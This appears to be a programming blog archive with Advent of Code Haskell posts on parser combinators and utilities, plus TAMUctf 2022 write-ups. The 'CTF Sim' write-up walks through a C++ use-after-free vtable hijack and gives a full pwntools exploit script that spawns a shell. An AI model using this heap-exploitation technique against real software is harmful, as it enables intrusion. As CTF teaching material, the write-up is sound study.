  - I: the length type ID. For count-based operands, this is 1.
  - L{11}: 11 bits indicating the number (or count) of sub-packets.

(See the AOC explanation for examples.)

Our input would be provided as a single large packet, containing many subpackets (and subpackets within subpackets, etc.). For part 1, we need to sum the version numbers of all packets. For part 2, we need to evaluate the expression of packets. Operand packets have different operations, determined by their type ID.

Solving

If I were using C++, I might try using bit-fields, some std::bit_cast/std::reinterpret_cast magic, and a couple classes plus inheritance. Sticking to my resolve to use Haskell or Rust, I decided to use parser combinators.

The template I'm using allows me to solve a challenge by writing three functions:

parse :: Parser Packet,
part1 :: Packet -> Int, and
part2 :: Packet -> Int.

These will be covered in this post. The driver code of the template (defaultMain) is elaborated in my Haskell utilities post.

Parsing

We'll cover the parse function first, and move towards part1 and part2.

parse :: String -> Packet
parse = subparse packet . concatMap (\hex -> read $ toBinary $ "0x" ++ [hex])
 where
  toBinary n = printf "%04s" (showIntAtBase 2 ("01" !!) n "")

subparse :: Parser a -> String -> a
subparse p s = case runParser (p <* many (char '0')) "" s of
  Right res -> res
  Left  err -> trace (errorBundlePretty err) undefined

parse takes a hex string, converts it to a binary string and parses it into a packet. The subparse helper takes a parser and the binary as input string and runs the parser (leaving out any leftover '0's). We'll reuse subparse with some differences later on, hence the reason we give it a generic type.

runParser returns an Either type. In this case, it means that it either returns a Right case (denoting success) or Left case (denoting failure).

Data Types

Let's first define the structure of the data we're working with. With Haskell, we can easily define algebraic data types (ADTs) like so:

data Packet = Packet Int Int PacketObj deriving Show
data PacketObj = Literal Int | Operands [Packet] deriving Show

Each Packet takes 2 Ints (the version and type ID), followed by a PacketObj.
The PacketObj can be an Int Literal...
or it could be an operand with a list of packets ([Packet]).

The data types are like a cornerstone to building our foundation. Without it, we become a bit lost when writing the algorithm. By writing our data types beforehand, we get a concrete idea of how the data is structured and partition, and what we need to do to get from ~~point~~ data A to ~~point~~ data B.

One of the key points in these Packet data structures is that a Packet is a recursive type/object. This allows us the flexibility of recursion (as we'll see later in the part1 and part2 solutions).

Parser Combinators

Usually when parsing text, the traditional solution is to use regex. The problem with regex, however, is that we don't get type information until after compiling, matching, and some extra parsing. Parser combinators are stronger in this regard, being composable and flexible while at the same time providing type information.

Type information may sound a little overrated, but typing is quite useful for catching errors at compile-time and solidifying program logic without being sniped by a RuntimeError later.

We can begin by writing the combinator that will consume n bits.

bits :: Int -> Parser String
bits n = count n digitChar

The bits function takes an integer n and returns a Parser String that consumes that many digitChars. count and digitChar are functions from the parsec library I'm using. bits doesn't exactly consume bits but rather digits (0-9). However, we'll assume that it is fed only bits.

Let's also define a function to convert from a binary string to a decimal (base-10) integer.

fromBinary :: String -> Int
fromBinary = foldl' (\acc d -> 2 * acc + digitToInt d) 0

We can then compose fromBinary with the bits parser to parse numbers and convert numbers.

Decoding Literal Packets

Let's use our helper functions to write a parser for literal packets:

packet :: Parser Packet
packet = do
  version <- fromBinary <$> bits 3
  typeID  <- fromBinary <$> bits 3
  if typeID == 4
    then do
      bs <- collectWhile (bits 5) $ \(b : _) -> b == '1'
      return $ Packet version typeID $ Literal $ fromBinary $ concatMap (drop 1) bs
    else do
      {- -- code for operand packets --  -}
 where
  collectWhile p f = do -- Parse while condition is true.
    x <- p
    if f x then (x :) <$> collectWhile p f else return [x]

Hopefully the majority of the code above is readable.

We first parse 3 bits of version and convert it to a decimal Int.
Then 3 bits of type ID and also convert to a decimal Int.
Next, we check the packet's typeID. If it's 4, then it's a literal packet.
We then try parsing the PacketObj for literal packets: keep parsing groups of 5 bits until the group starts with a '1'.
Now we have a list of 5-bit groups stored in bs.
The next line goes through the process of converting the bits into a single Int and wrapping it as a Packet type.
The explanation for collectWhile... is left as an exercise for the reader.

Hoof- That was quite long-winded. But you can see how type information is being passed around. version and typeID are Ints, because we parsed them from binary strings. We can now do Inty things with them, e.g. comparison, just like typeID == 4 in the code above.

We're also confident that we've covered non-Int edge cases because the parser engine and Haskell's type system will report it for us; and so if the parsing succeeds, we know that our data isn't a string, character, boolean, or monkey. We assumed there won't be out-of-bound issues since AOC usually constrains numbers to 32/64-bit ints. But if the need arises, we could always upgrade from Ints to Integers (which are Haskell's equivalent of dynamically-sized integers).

Decoding Operand Packets

For operand packets, let's define another parser helper for parsing subpackets. We'll take as argument an Int (the length type ID) and return a parser that parses a list of (sub)packets.

operands :: Int -> Parser [Packet]
operands 0 = do  -- Length type ID == 0 ---> length-based operand
  len      <- fromBinary <$> bits 15
  subparse (some packet) <$> bits len
operands 1 = do  -- Length type ID == 1 ---> count-based operand
  num      <- fromBinary <$> bits 11
  count num packet

Pretty straightforward. For length-based operands: parse the length, then parse 1 or more packets out of the next length bits. Count-based operands are even more straightforward: parse the expected number of subpackets, then parse the num packets.

In both cases, subpackets are parsed by recursing to the packet parser, which we can now finish:

packet :: Parser Packet
packet = do
  version <- fromBinary <$> bits 3
  typeID  <- fromBinary <$> bits 3
  if typeID == 4
    then do
      {- -- code for literal packets --  -}
    else do -- Code for operands.
      lenTypeID <- fromBinary <$> bits 1
      children  <- operands lenTypeID
      return $ Packet version typeID $ Operands children
 where
    ...

Also pretty straightforward. We've added three lines of code for parsing the operand case. I think this warrants no explanation and should be a simple exercise for the reader. :)

Part 1

Summing the version numbers should be no problem, and knowing where are versions are and that they're already Ints, a simple recursion with sum and map should do it:

part1 :: Packet -> Int
part1 (Packet v _ obj) = case obj of
  Literal _ -> v
  Operands ps -> v + sum (map part1 ps)

Part 2

Part 2 is more complicated, but only slightly. Essentially, each type ID other than 4 corresponds to some operation. 0 is addition, 1 is multiplication, 5 is >, and so on.

part2 :: Packet -> Int
part2 (Packet _ op obj) = case obj of
  Literal x -> x
  Operands ps -> case op of
      0 -> sum
      1 -> product
      2 -> minimum
      3 -> maximum
      5 -> \[a, b] -> if a > b then 1 else 0
      6 -> \[a, b] -> if a < b then 1 else 0
      7 -> \[a, b] -> if a == b then 1 else 0
    $ map part2 ps

And that's it. Tada! Welcome to the wonderful magic of parser combinators.

Full Script

For completeness, here's the full D16.hs script. This uses my Haskell Utils module, and the actual main function is placed in another file. The background work is done there so that here we could focus on the process of getting from input (String) to output (Int) here.

AOC 2021 Haskell Utils

2022-08-09T00:00:00Z

Haskell, despite its relatively low popularity, is quite up to speed on language features and tooling (unlike–cough cough–some other languages). One of these features is being able to separate and organise files into modules, encouraging clean code practices and cleaner development.

In Advent of Code (AOC) 2021, I found it useful to separate common functions into a Utils.hs file. After all, to make our environments cleaner we should reduce, reuse, and recycle.

I'll introduce some basic utilities first before moving on to advanced ones. However, I won't make too many attempts to teach the basics. For that you may refer yourself to Learn You a Haskell (LYAH), which provides a very nice tutorial into Haskell.

List Utilities

`count :: (a -> Bool) -> [a] -> Int`

count p xs = length (filter p xs)

Typically, the situation arises when we need to count the number of elements in a list. For example, "count the number of occurrences of 3 in [1, 2, 3, 4, 3, 3, 5]". To do this, we'll filter the matching elements, then take the length of the filtered list to count the number of matches.

If you're new to Haskell, you're probably wondering "what the heck are the jumble of symbols on the first line?" It's the type signature! We can roughly translate it as follows:

count: The count function...
::: has the following type...
- (a -> Bool): it takes a predicate; here, a function which itself takes a generic type a and returns a boolean...
- ->: then...
  - [a]: it takes a list of generic objects (all the same type as the previous a!)...
  - ->: then...
    - Int: it returns a 32-bit integer.

Well, this isn't entirely accurate due to currying, but it's a decent mental model.

In the type signature, a is a generic type, similar to template parameters in C++ and generics in Java/Scala (although the convention in those languages is to use T and A).

template <typename T>
int32_t count(std::function<bool(T)> p, std::list<T> const& xs) { /* ... */ }

def count[A](p: A => Boolean, xs: List[A]): Int = { /* ... */ }

In Haskell, there is actually a more concise way to write count:

count :: (a -> Bool) -> [a] -> Int
count p = length . filter p

. stands for function composition, similar to those in math ($f \circ g$). On the practical side, it applies the right-hand-side function first, followed by the left-hand-side function. Programs are all about combining small operations to form bigger ones, so you'll see . being used a lot in purely functional code.

In the code above, you can think of count as taking one parameter p :: a -> Bool and returning a function [a] -> Int which is the composition of length and filter p. It may help if I refine the type signature, so that it's clear that it returns [a] -> Int:

count :: (a -> Bool) -> ([a] -> Int)

So we can actually think of count as having several types:

it takes a (a -> Bool), a [a], and returns an Int; or
it takes a (a -> Bool) and returns a ([a] -> Int).

Either way the function does the same thing. Under the hood, however, the Haskell compiler thinks using the latter version. This phenomenon is known as currying and its flexibility is quite useful for creating partial functions.

`firstBy, lastBy :: (a -> Bool) -> [a] -> a`

firstBy p = head . filter p
lastBy p = last . filter p

Both firstBy and lastBy have similar function types: they take a predicate (a -> Bool), a list [a], and return an element a. You can probably guess what these do by just looking at the names and types.

ghci> firstBy even [1..5]
2
ghci> lastBy (< 4) [1..5]
3

even checks if a number is even. < 4 checks if a number is less than 4. We could be more explicit: lessThan4 x = x < 4; but < 4 is just more concise.

These functions are useful when we've generated a list of possible solutions, but only want the first or last element which meets some criteria.

`fromBinary :: String -> Int`

fromBinary = foldl (\acc d -> 2 * acc + digitToInt d) 0

As you could guess from the type signature, this function converts a binary string to the corresponding base-10 integer. You'll notice that we didn't give a parameter name for String, and that's because we curried foldl (which takes up to 3 parameters).

Folds in functional programming are powerful and useful because they are generalised/abstract constructs. And like all generalised/abstract constructs, folds take a bit of time to understand. If you know how reduce works, foldl is similar. You can learn more about folds in LYAH's chapter on folds.

To illustrate fromBinary in action:

fromBinary "10" 
    = 2 * (2 * 0 + digitToInt '1') + digitToInt '0'
    = 2 * (1) + digitToInt '0'
    = 2

fromBinary "1011" 
    = 2 * (2 * (2 * (2 * 0 + digitToInt '1') + digitToInt '0') + digitToInt '1') + digitToInt '1'
    = 2 * (2 * (2 * (1) + digitToInt '0') + digitToInt '1') + digitToInt '1'
    = 2 * (2 * (2) + digitToInt '1') + digitToInt '1'
    = 2 * (5) + digitToInt '1'
    = 11

digitToInt is a function defined in Data.Char which converts a char digit ('0'..'9') to the corresponding integer 0..9.

Debug Utilities

Debugging in the functional world is slightly more nuanced than debugging in the imperative world. Haskell's Debug.Trace library—with its signature function trace—allows us to print messages to standard output, bypassing the restrictions of pure functions. Some examples of trace in action:

hello :: String -> String
hello x = trace "trace says 'hello'" x

foo :: Int -> String -> Int
foo n s | trace ("int: " ++ show n ++ ";  string: " ++ s) False = undefined
foo n s = n + length s

--

ghci> hello "world"
trace says 'hello'
world

ghci> foo 1 "abc"
int: 1;  string: abc
4

The first parameter of trace is the string to output. The second parameter will be returned as is, without modifications.

In foo, we define the tracing on a separate line so that it's easy to comment out. The first match uses guards (see LYAH).

Here are some convenience utilities that may spare a few keystrokes:

`(++$) :: (Show a) => String -> a -> String`

(++$) s x = s ++ " " ++ show x

So that we don't have to write show for every non-string item we want to print. We can use this in foo's trace message to replace ++ show n with ++$ n.

foo :: Int -> String -> Int
foo n s | trace ("int:" ++$ n ++ ";  string: " ++ s) False = undefined
foo n s = n + length s

It's a bit superfluous, but I think writing show all the time bloats the debug message.

`trace' :: (Show a) => a -> a`

trace' x = trace (show x) x

A helper to print and return its argument, to avoid repetition.

Advanced Utilities

In the following sections, I'll talk about fundamentals less so that I can focus more on the higher-level things. I'll presume the reader has a solid grasp of fundamentals.

`counter :: (Hashable a, Eq a) => [a] -> M.HashMap a Int`

counter = foldr (\x -> M.insertWith (+) x 1) M.empty

This helper function takes a list and counts the number of occurrences, packing it into a hashmap for efficient lookup.

After all, if Python has such a convenience (collections.Counter), why shouldn't Haskell have something similar?

counter [1, 2, 3, 1, 5, 3, 4, 1]
    = M.fromList [(1,3), (2,1), (3,2), (4,1), (5,1)]

In fact, we can generalise this to not only work with lists as input, but for any Foldable type. This is what we would get if we let the Haskell's type inference work its magic:

ghci> counter = foldr (\x -> M.insertWith (+) x 1) M.empty
ghci> :t counter
counter
  :: (Foldable t, Eq k,
      hashable-1.3.1.0:Data.Hashable.Class.Hashable k, Num v) =>
     t k -> M.HashMap k v

That is:

counter :: (Foldable t, Eq k, Hashable k, Num v) => 
            t k -> M.HashMap k v

I used the strict hashmap provided in the unordered-collections package, but it should work with lazy hashmaps as well.

If you want to use the Hashable typeclass in code, you'll need to jump through some hoops by "exposing" the hidden hashable package and importing Data.Hashable.

Parser Utilities

I used MegaParsec this year, but the idea of the following utilities can also be applied for other parser combinator libraries.

`digits :: (Num i, Read i) => Parser i`

digits = read <$> some digitChar

Convenience function for parsing a number (string of digits).

`integer :: (Num i, Read i, Show i) => Parser i`

integer = (negate <$> try (char '-' *> digits)) <|> digits

Convenience function for parsing a (possibly negative) integer.

AOC-specific Utilities

Some more utilities which I wrote solely for AOC.

`defaultMain`

defaultMain
  :: (ParseLike p, Print b, Print c)
  => String   -- Default input file, if no -f option was provided from args.
  -> p a      -- Any instance of ParseLike, e.g. a function (String -> a) or a parser combinator (Parser a).
  -> (a -> b) -- Function to solve part 1. Takes in input and returns something printable.
  -> (a -> c) -- Function to solve part 2.  -- Ditto. --
  -> IO ()
defaultMain defaultFile parse part1 part2 = do
  (opts, _)  <- parseArgs (nullOpts { file = defaultFile }) <$> getArgs
  input <- doParse parse (file opts) <$> readFile (file opts)
  when (runPart1 opts) $ do
    putStr "part1: "
    print' $ part1 input
  when (runPart2 opts) $ do
    putStr "part2: "
    print' $ part2 input

This utility may seem scary since there it's packed with other user-defined utilities. But to summarise, this function helps standardise the AOC part 1/part 2 structure while also providing the option to specify input files from the command line. This is useful as Haskell Stack is a bit fussy and long-winded when it comes to compilation.

One thing I found useful was having flexible parse methods. Sometimes I want to parse using a String -> a function because it was enough to simply do map read . lines. Other times I want to parse using a Parser a combinator due to more complicated syntax in the input. Thanks to ad-hoc polymorphism, we can achieve this using typeclasses; and so the ParseLike typeclass was born:

class ParseLike p where
  -- Parser object, filename, contents -> result.
  doParse :: p a -> String -> String -> a

instance ParseLike ((->) String) where
  doParse f _ = f  -- Apply a parse function `f` on `contents`.

instance ParseLike Parser where
  doParse p file txt = case runParser p file txt of
    Right res -> res
    Left  err -> T.trace (errorBundlePretty err) undefined

Here's an example usage from Day 1:

main :: IO ()
main = defaultMain defaultFile parse part1 part2

defaultFile :: String
defaultFile = "../input/d01.txt"

parse :: String -> [Int]
parse = map read . lines

part1 :: [Int] -> Int
part1 xs = length $ filter (uncurry (<)) $ zip xs (tail xs)

part2 :: [Int] -> Int
part2 xs =
  part1 $ map (\(a, b, c) -> a + b + c) $ zip3 xs (tail xs) (tail $ tail xs)

Other usage examples can be found in my Haskell AOC solutions.

`criterionMain`

criterionMain
  :: (ParseLike p)
  => String   -- Default input file, if no -f option was provided from args.
  -> p a      -- Any instance of ParseLike, e.g. a function (String -> a) or a parser combinator (Parser a).
  -> (a -> [C.Benchmark]) -- Criterion IO () benchmarking function.
  -> IO ()
criterionMain defaultFile parse getBench = do
  (opts, rest)  <- parseArgs (nullOpts { file = defaultFile }) <$> getArgs
  input <- doParse parse (file opts) <$> readFile (file opts)
  withArgs rest $ C.defaultMain $ getBench input

Criterion is an excellent benchmarking library with various config options and output formats. To integrate Criterion with my pre-existing options, I hand-spun another default-main for benchmarking. So instead of passing my parsed input to part 1/2 functions, I pass it to benchmarks.

Example usage from Day 22:

main :: IO ()
main = criterionMain defaultFile parser $ \input ->
  [ C.bgroup "part1" [C.bench "part1" $ C.whnf part1 input]
  , C.bgroup
    "part2"
    [ C.bench "sum of unions" $ C.whnf part2 input
    , C.bench "sum of unions (optimised)" $ C.whnf part2_optimised input
    , C.bench "sum of intersections" $ C.whnf part2_intersect input
    ]
  ]

parser :: Parser [Command]
parser = ...

part1 :: [Command] -> Int
part1 cmds = ...

part2 :: [Command] -> Int
part2 cmds = ...

part2_optimised :: [Command] -> Int
part2_optimised cmds = ...

part2_intersect :: [Command] -> Int
part2_intersect cmds = ...

TAMUctf 2022 – CTF Sim

2022-04-24T00:00:00Z

Challenge Description

Wanna take a break from the ctf to do another ctf?

Write-Up

Ooooh, a C++ challenge. And it's about CTFs. Seems like a fun little exercise.

Preliminary Observations and Analysis

We're provided a C++ file and its compiled ELF. Upon an initial browse through the source, we see something interesting:

void win() {
    system("/bin/sh");
}

void* win_addr = (void*)&win;

A win function is already provided, along with a global variable win_addr storing the address of win.

Now on to the fun stuff. We're given six classes with the solve virtual function: one base class and the other five inheriting and overriding solve.

struct challenges { virtual void solve() { /* ... */ } };
struct forensics : challenges { virtual void solve() { /* ... */ } };
struct reversing : challenges { virtual void solve() { /* ... */ } };
struct pwn : challenges { virtual void solve() { /* ... */ } };
struct web : challenges { virtual void solve() { /* ... */ } };
struct crypto : challenges { virtual void solve() { /* ... */ } };

We then have three action functions:

downloadChallenge, which news one of the five derived classes,

// -- Read choice, index from input. --
if (choice == 1) {
    downloaded[index] = new forensics;
}
else if (choice == 2) {
    downloaded[index] = new reversing;
}
// ...
else {
    downloaded[index] = new crypto;
}

solveChallenge, which selects a downloaded challenge, then calls ->solve() and deletes it,
```
// -- Read index from input. --
downloaded[index]->solve();
delete downloaded[index];
```
C++
and

submitWriteup, which calls mallocs with custom size.

// -- Read length from input. --
char* writeup = (char*)malloc(length);
fgets(writeup, length, stdin); // Read writeup payload from input.

Interestingly, the malloced chunk isn't freed anywhere! Also in solveChallenge, the value of downloaded[i] isn't removed after being deleted... This is starting to smell like a double free or use-after-free vulnerability. But is it?

Let's start by defining helper functions in Python to help us perform actions:

def download_chal(category: int, save_index: int):
    if not (1 <= category <= 5 and 0 <= save_index <= 3):
        raise RuntimeError("bad bad")

    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"> ", str(category).encode())
    p.sendlineafter(b"> ", str(save_index).encode())

def solve_chal(index: int):
    if not (0 <= index <= 3):
        raise RuntimeError("bad bad")
    
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"> ", str(index).encode())

def submit_writeup(content: bytes, length: int = None):
    if length is None:
        length = len(content) + 1
    elif len(content) >= length:
        raise RuntimeError("your math bad bad")
    
    if b'\n' in content:
        raise RuntimeError("bad bad newline")

    p.sendlineafter(b"> ", b'3')
    p.sendlineafter(b"> ", str(length).encode())
    p.sendlineafter(b"> ", content)

Now we just need to figure out how to call these, and what to call them with...

Virtual Tables

Ugh... virtual functions. They're convenient high-level features and great for polymorphism, but how do they actually work underneath?

My Google-fu did not fail me. I found a couple useful resources:

a StackOverflow answer
a well-written blog post by one named Pablo

I'll try my best to summarise the wisdom found there:

If a class has a virtual function...
- the class has a vtable, and
- objects of the class contains an implicit "vptr" member.
  - In memory, the vptr is placed at the very beginning of the object.
  - The vptr points to the vtable of the class.
The vtable is a list of pointers to the concrete implementations of the virtual functions.
When a virtual function is called, the vtable is accessed through the vptr. The vtable is then used to look up the appropriate virtual function and pass it the appropriate parameters.

To better understand vtables and vpointers, here's a virtual function example in C++ along with a desugared version written in C.

C++ Version:

class Parent {
public:
    // void* vtable; // Implicit, but exists due to virtual functions.
    int parent_data;
    Parent(int data) : parent_data{data} {}

    virtual void foo(int x) { std::cout << "parent (" << parent_data << ") foo: " << x << std::endl; }
    virtual void bar(int x) { std::cout << "parent (" << parent_data << ") bar: " << x << std::endl; }
};

// Inherits Parent::parent_data and Parent::foo.
class Derived : public Parent {
public:
    // void* vtable; // Implicit for same reason as Parent.
    int derived_data;
    Derived(int data, int data2) : Parent{data}, derived_data{data2} {}

    // Overrides Parent::bar.
    virtual void bar(int x) { std::cout << "derived (" << parent_data << ", " << derived_data << ") bar: " << x << std::endl; }
};

int main() {
    Parent p{1};
    p.foo(2); // Parent::foo
    p.bar(3); // Parent::bar

    Derived d{5, 6};
    d.foo(7); // Parent::foo
    d.bar(8); // Derived::bar
}

^{(godbolt demo)}

C Version:

typedef void (*funcptr_t)(); // Type alias for function pointers.

typedef struct {
    funcptr_t* vtable;
    int parent_data;
} Parent;

typedef struct {
    funcptr_t* vtable;
    int parent_data; // Inherited from Parent.
    int derived_data;
} Derived;

// Enumeration of virtual functions.
enum { VFUNCTION_FOO, VFUNCTION_BAR };

// Concrete implementations.
void parent__foo(Parent* p, int x) { printf("parent (%d) foo: %d\n", p->parent_data, x); }
void parent__bar(Parent* p, int x) { printf("parent (%d) bar: %d\n", p->parent_data, x); }
void derived__bar(Derived* d, int x) { printf("derived (%d, %d) bar: %d\n", d->parent_data, d->derived_data, x); }

// Virtual implementations (redirect).
void foo(Parent* p, int x) { p->vtable[VFUNCTION_FOO]((void*)p, x); }
void bar(Parent* p, int x) { p->vtable[VFUNCTION_BAR]((void*)p, x); }

// vtable definitions.
funcptr_t parent__vtable[] = {
    parent__foo,
    parent__bar,
};

funcptr_t derived__vtable[] = {
    parent__foo,
    derived__bar,
};

int main(void) {
    Parent p = {parent__vtable, 1};
    foo(&p, 2); // parent__foo
    bar(&p, 3); // parent__bar.

    Derived d = {derived__vtable, 5, 6};
    foo((Parent*)&d, 7); // parent__foo
    bar((Parent*)&d, 8); // derived__bar.
}

^{(godbolt demo, inspired from this gist)}

So to reiterate and relate how this works with ctf_sim.cpp:

By observation, each class (challenge, forensic, reversing, etc.) has a virtual function.
Therefore, each class has a vtable.
Also, an object of any class (challenge, forensic, etc.) has a vptr.
This vptr points to the corresponding vtable of the class.
- e.g. a forensic object will have a vptr pointing to the forensic vtable.
- a pwn object will have a vptr pointing to the pwn vtable.

Exploiting the Binary with GDB

This section will walk through the hands-on aspect exploiting the ctf_sim binary using GDB. I try to go through the entire procedure to clarify the details, so it may be slightly long-winded. Feel free to skip to the conclusion.

To recap a bit, we know that...

when a virtual function is called, the function does a little double-dereference magic using the object's vptr.
there is a use-after-free/double-free vulnerability.
- When solving a challenge, delete is called. But the pointer value isn't cleared.
```
int main() {
    int* p = new int;
    // Suppose p == 0x404000.
    delete p;
    // Pointer value is still 0x404000, not NULL or anything else.
}
```
  C++
- We could...
  - make a new challenge at the same index? This would overwrite our use-after-free pointer... we probably don't want that.
  - solve the challenge again? This would call the virtual function and delete the pointer again.
  - submit a writeup? We might be able to use this to reallocate the chunk and overwrite object data with custom data! Let's explore this a bit more using GDB.

We'll try the following:

Download challenge. This allocates a new chunk.
Solve the downloaded challenge. This should free the chunk.
Submit a writeup. This should reallocate the chunk, but with our custom data.
Solve the downloaded challenge again. This should call a double deref on the vptr.

To understand the exploit the details better and what happens under the hood, we'll use GDB to step through the exploit.

A brief refresher on some commands we'll be using. (See this GDB cheatsheet for more commands.)

r               # Run the file.
c               # Continue running where we left off.
heap chunks     # View active chunks on the heap.
x /40wx <addr>  # View memory at address as hex data.
x /40wi <addr>  # View memory at address as instructions.
disas <sym>     # Disassemble a symbol.
b *<addr>       # Set a breakpoint at the specified address.
kill            # Useful for stopping the current run in case we make an oopsie and need to restart.

After starting up my Kali Linux VM, downloading the challenge onto it, and firing up GDB; we inspect the initial state of the heap.

gdb ctf_sim  
r  
^C  
heap chunks

Ooo, looks a bit busy, even though we haven't malloced or newed anything yet! These are probably allocations from iostream buffers used to buffer the input and output streams. We'll ignore these for now as they aren't very important.

We perform our first action: downloading a challenge. The challenge type and index to store the challenge don't really matter, so we'll just go with the first option (new forensics) and index 0.

Let's pause again and check the state of the heap.

^C  
heap chunks

Notice that there is now a new chunk with size 0x20 with some data in the first few bytes. Since we just allocated a forensics object, this is likely the vptr of that object.

Indeed, if we peek into the binary's memory using x /20wx 0x403d38, we see what looks like some vtables having a party:

We'll move on to the second step: solving the challenge. This step is rather simple, but I want to show how the vtable magic is done in assembly. Let's disassemble the solveChallenge() function and set a breakpoint near the hotspot.

disas solveChallenge
b *solveChallenge+191

Now we'll continue running and feed it input for solving our forensics challenge.

c  
2  
0

Our breakpoint gets triggered. Notice the interesting chain of addresses in the rax register in the image below. There's a chain of 3 addresses:

the address of the forensics object vptr... which points to...
the address of the forensics vtable... which points to...
the address of forensics::solve...
- which is eventually called in assembly (call rax)

So this is what happens when we call a virtual function... InTeReStInG!

Let's continue so that it finishes delete-ing the chunk, and let's check the heap state again:

c  
^C
heap chunks

It appears that our forensics vptr has been replaced with some other data. 😢 But no worries! We'll just continue with our third action: submitting a writeup.

Since we want to reuse the chunk previously deallocated, we want to make sure the chunk we allocate when submitting the writeup isn't too big. But the chunk shouldn't be too small either: we want it to be at least 9 bytes, so that it could fit 8 bytes of payload plus a null terminator. So we'll settle for 16 bytes.

c  
3  
16  
AABBCCDD

Let's check our heap.

^C  
heap chunks

Sweet! We've overwritten the first 8 bytes of the chunk with our payload. Effectively, we've assigned a custom vptr to the forensics object.

"But bruh I thought our forensics object was deallocated!"

Well yes... but actually no... Objects in C/C++ are merely represented in memory as a sequence of bytes. You can interpret a sequence of bytes as any type. That's why casting across types is a thing in C/C++—albeit potentially dangerous. (In C, you'd use the usual cast (type*)&obj. In C++, you'd use reinterpret_cast<type*>(&obj).)

Now when we call solveChallenge, the line downloaded[index]->solve() will treat our chunk as a challenge*. It was originally supposed to be a char*, since we submitted a writeup. But since types don't matter in the assembly/memory level, the chunk is now a challenge* for all intents and purposes.

Since the chunk is treated as a challenge*, the assembly will try to double-deref the vptr... which is our payload from submitting the writeup.

Boom! Exploit.

If we continue running the program, a SIGSEGV occurs since it tries to dereference 0x4444434342424141 (which is "AABBCCDD", but packed to 64 bits).

Later on, we'll use win_addr instead of "AABBCCDD" for our payload; so that when the solve() virtual function does its magic, it will call win() instead.

Altogether

Combining our knowledge of vtables/vpointers with a little bit of heap knowledge, we come up with the following exploit:

# downloaded[0] = new forensics;   (vptr points to forensic's vtable.)
download_chal(1, 0)

# delete downloaded[0];    (chunk is moved to tcache/fast bin. downloaded[0] itself is unchanged!)
solve_chal(0)

# Chunk is allocated-- reusing the chunk previously deallocated.
# Overwrite vptr of downloaded[0] with &(&win).
submit_writeup(p64(elf.sym['win_addr']), 0x10)

# downloaded[0]->solve() triggers double dereference (due to virtual function resolution) and calls win()!
solve_chal(0)

To explain the "little bit of heap knowledge", we just need to understand that C++'s new/delete behaves like C's malloc/free: new will allocate a chunk, and delete will move the chunk to a bin. There are tons of different bins (small, large, fast, unsorted). But intuitively, the next new with a similar chunk size will reuse the chunk, meaning we overwrite the same memory previously allocated!

This story is reflected in the code above.

We download a challenge. This will new a chunk. The index and type of challenge (forensic, pwn, etc.) don't really matter, but just make sure we keep reusing the same index.
We solve a challenge. Here we delete the chunk previously allocated.
We submit a writeup. This mallocs a chunk and inserts a payload of win_addr.
- The size to malloc can be anywhere between 0x8 (exclusive) and 0x18 (inclusive). I used 0x10 since it looks pretty.
- Anything equal or less than 0x8 means our 8-byte payload will be cut off early. All 8 bytes are important, because the vptr machinery will be using the entire 8 bytes.
- Anything above 0x18 will allocate a new chunk instead of reusing the previously deallocated chunk.
We solve the same challenge as before. This triggers a call to a virtual function which double-derefs our payload (win_addr), calling win() and giving us a shell. PROFIT!

Solve Scripts

from pwn import *

binary = 'ctf_sim'

context.binary = binary
context.log_level = 'debug'

elf = ELF(binary)
rop = ROP(binary)

p = remote("tamuctf.com", 443, ssl=True, sni="ctf-sim")


def download_chal(category: int, save_index: int):
    if not (1 <= category <= 5 and 0 <= save_index <= 3):
        raise RuntimeError("bad bad")

    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"> ", str(category).encode())
    p.sendlineafter(b"> ", str(save_index).encode())

def solve_chal(index: int):
    if not (0 <= index <= 3):
        raise RuntimeError("bad bad")
    
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"> ", str(index).encode())

def submit_writeup(content: bytes, length: int = None):
    if length is None:
        length = len(content) + 1
    elif len(content) >= length:
        raise RuntimeError("your math bad bad")
    
    if b'\n' in content:
        raise RuntimeError("bad bad newline")

    p.sendlineafter(b"> ", b'3')
    p.sendlineafter(b"> ", str(length).encode())
    p.sendlineafter(b"> ", content)

# downloaded[0] = new forensics;   (vptr points to forensic's vtable.)
download_chal(1, 0)

# delete downloaded[0];    (chunk is moved to tcache/fast bin. downloaded[0] itself is unchanged!)
solve_chal(0)

# Chunk is allocated-- reusing the chunk previously deallocated.
# Overwrite vptr of downloaded[0] with &(&win).
submit_writeup(p64(elf.sym['win_addr']), 0x10)

# downloaded[0]->solve() triggers double dereference (due to virtual function resolution) and calls win()!
solve_chal(0)

p.interactive()

Flag

gigem{h34pl355_1n_53477l3}

TAMUctf 2022 – Labyrinth

2022-04-22T00:00:00Z

Challenge Description

To get the flag you'll need to get to the end of a maz- five randomly generated mazes within five minutes.

This is an automatic reversing challenge. You will be provided an ELF as a hex string. You should analyze it, construct an input to make it terminate with exit(0), and then respond with your input in the same format. You will need to solve five binaries within a five minute timeout.

Write-Up

Preliminary Observations and Analysis

Unlike other reverse challenges, this one requires us to connect to a server and auto-hack not one, but five binaries. We're provided with this template:

from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="labyrinth")
for binary in range(5):
  with open("elf", "wb") as file:
    file.write(bytes.fromhex(p.recvline().rstrip().decode()))

  # send whatever data you want
  p.sendline(b"howdy".hex())
p.interactive()

Modifying the template slightly, we run and download a couple binaries for analysis.

As a first step, we'll run checksec to see what securities are in place.

checksec elf
[*] '/Users/<redacted>/labyrinth/elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

It appears that PIE is enabled. We'll make a mental note of this, since this may mess with function addresses.

What is PIE? Sadly, not the scrumptious dessert. Position-independent executable is a security mechanism whereby on starting an application, the OS will offset the assembly sections (.data, .text, etc.).

Next, we decompile our elves using Ghidra and make some observations.

^{Only one function contains exit(0).}

^{Other functions seem to perform some sort of check and lead to more functions.}

Each binary contains a thousand (1000) functions (excluding main). The symbols are function_0, function_1, function_2, and so on.
Each of these functions will:
- Call scanf("%u\n", ...) (read 4 bytes into a stack variable), and
- Branch (if, else-if, else) into two or more paths.
- The branch conditions come in some form of arithmetic check. For example, input == 0x1c1, input ^ 0xc213504e == 0x142, input < 0x143, input - 0x5173cdc3 == 0x28b.
- Each branch will either
  - exit(1)
  - or call another function from the 1000 functions.
- The number of branches, numbers used in the conditions, and order of conditions are random.
